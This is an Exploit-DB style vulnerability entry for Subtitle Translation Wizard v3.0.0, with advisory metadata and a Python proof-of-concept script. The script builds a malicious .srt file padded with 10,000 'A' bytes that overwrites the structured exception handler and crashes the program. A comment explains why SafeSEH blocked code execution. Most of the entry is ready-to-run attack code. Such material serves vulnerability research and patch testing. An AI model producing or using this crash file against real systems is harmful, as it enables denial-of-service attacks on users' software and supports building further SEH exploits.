Subtitle Translation Wizard v3.0.0 SEH POC

vendor:

Subtitle Translation Wizard

by:

Blake

8,8

CVSS

HIGH

SEH Overwrite

119

CWE

Product Name: Subtitle Translation Wizard

Affected Version From: 3.0.0

Affected Version To: 3.0.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:upredsun:subtitle_translation_wizard

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Vista

2010

Subtitle Translation Wizard v3.0.0 SEH POC

Subtitle Translation Wizard v3.0.0 is vulnerable to a SEH overwrite vulnerability. An attacker can create a malicious .srt file containing a buffer of 10000 'A' characters, which when opened in the application, will cause a denial of service.

Mitigation:

Ensure that the application is updated to the latest version, and that all security patches are applied.

Source

Exploit-DB raw data:

#!/usr/bin/python

# Exploit Title: Subtitle Translation Wizard v3.0.0 SEH POC
# Date: Jun 21, 2010
# Author: Blake
# Software Link: http://www.upredsun.com/subtitle-translation/download/st-wizard-setup.exe
# Version: 3.0.0
# Tested on: Windows Vista running in VirtualBox

# SEH is overwritten but only unicode compatible pop pop ret addresses are in st-wizard.exe (SafeSEH).

print "\n======================================"
print " Subtitle Translation Wizard v3.0.0 DoS "
print " Discovered by Blake "
print "======================================\n"

buffer = "\x41" * 10000

print "[+] Creating malicious srt file"
try:
     file = open("poc.srt","w")
     file.write("1\n" + "00:01:48,549 --> 00:01:50,404\n" + buffer)
     file.close()
     print "[+] File created"
except:
     print "[x] Could not create file"

raw_input("\nPress any key to exit...\n")